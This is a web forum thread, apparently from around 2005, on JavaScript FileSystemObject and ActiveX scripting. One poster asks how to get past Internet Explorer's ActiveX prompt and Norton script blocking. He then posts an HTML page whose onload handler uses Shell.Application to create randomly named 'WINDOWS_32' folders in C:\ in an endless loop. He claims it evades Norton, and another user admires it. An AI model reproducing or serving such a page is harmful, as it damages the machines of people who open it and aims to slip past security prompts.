IE Security

Code help, language discussions, and software development advice.
Post Reply
AmaD
Registered User
Posts: 122
Joined: August 20th, 2004, 7:37 pm

IE Security

Post by AmaD »

I was fiddling with a few FileSystemObject scripts in Javascript, and having to use Internet Explorer to test them is a pain because of Mozilla Firefoxes' amazing ability to kill anything with the word script in (In a good way, that is).

Does anyone know how to get the FileSystemObject scripting compatible in Firefox 1.0 and to get past that annoying ActiveX thing asking you if you wish to let it run? Thanks

PS... I wonder how porn sites do it :roll:
[CPU] AMD Athlon 64 3000+ Venice [MOBO] DFI LanParty UT NF4 Ultra-D (s939) [CARD] ATI Radeon X800 XL (256MB) [CASE] Silverstone Temjin TJ01 - Silver [HDD] ST340016A (40 GB, 7200 RPM, Ultra-ATA/100) [HDD] WDC WD1200BB-00CJA1 (111 GB, IDE)
Comanche
Registered User
Posts: 24
Joined: September 13th, 2004, 9:24 pm
Location: Metairie, LA
Contact:

Post by Comanche »

:lol:
PS... I wonder how porn sites do it :roll:
Smartweb
Registered User
Posts: 622
Joined: January 15th, 2004, 2:11 am
Contact:

Post by Smartweb »

The FileSystemObject is an ActiveX Object, and therefore it is impossible to use it in Firefox without some kind of extension that makes the browser really insecure. IE asks viewers if they want to let the file system object run because it can be VERY dangerous. There is probably some kind of unknown security hole that lets you get past that, though, because IE is full of those all over the place.
AmaD
Registered User
Posts: 122
Joined: August 20th, 2004, 7:37 pm

Post by AmaD »

I have been researching but with little luck. Usually if you invoke an ActiveX function it will come to the attention of IE and Norton script blocking etc. I found somethiong that only asks you once and gets past Norton's script blocking. This script below does this and creates 1000's of new folders on your C:/. Sorry about the actual implementation of the script, but I was bored :twisted: :

Code: Select all

<html>
<head>
<title> Base </title>
<script language="JScript">

    function fnFolderObjectNewFolderJ()
    {
        var chum = Math.random() * 100;
        var objShell  = new ActiveXObject("Shell.Application");
        var objFolder = new Object;
        
        objFolder = objShell.NameSpace("C:\\");
        if (objFolder != null)
        {
            objFolder.NewFolder("WINDOWS_32" +chum);
        }
       setTimeout("fnFolderObjectNewFolderJ()")
    }
</script>
</head>
<body onload="fnFolderObjectNewFolderJ()">

</body>
</html>

[CPU] AMD Athlon 64 3000+ Venice [MOBO] DFI LanParty UT NF4 Ultra-D (s939) [CARD] ATI Radeon X800 XL (256MB) [CASE] Silverstone Temjin TJ01 - Silver [HDD] ST340016A (40 GB, 7200 RPM, Ultra-ATA/100) [HDD] WDC WD1200BB-00CJA1 (111 GB, IDE)
Tebow2000
Registered User
Posts: 1099
Joined: January 19th, 2004, 7:56 am
Location: New Orleans, Louisiana
Contact:

Post by Tebow2000 »

what a powerful script :twisted: :twisted: :twisted:
Redcode Hosting redcodehosting.com | Unix Shared Hosting | sales[aT]redcodehosting[dOt]com
Post Reply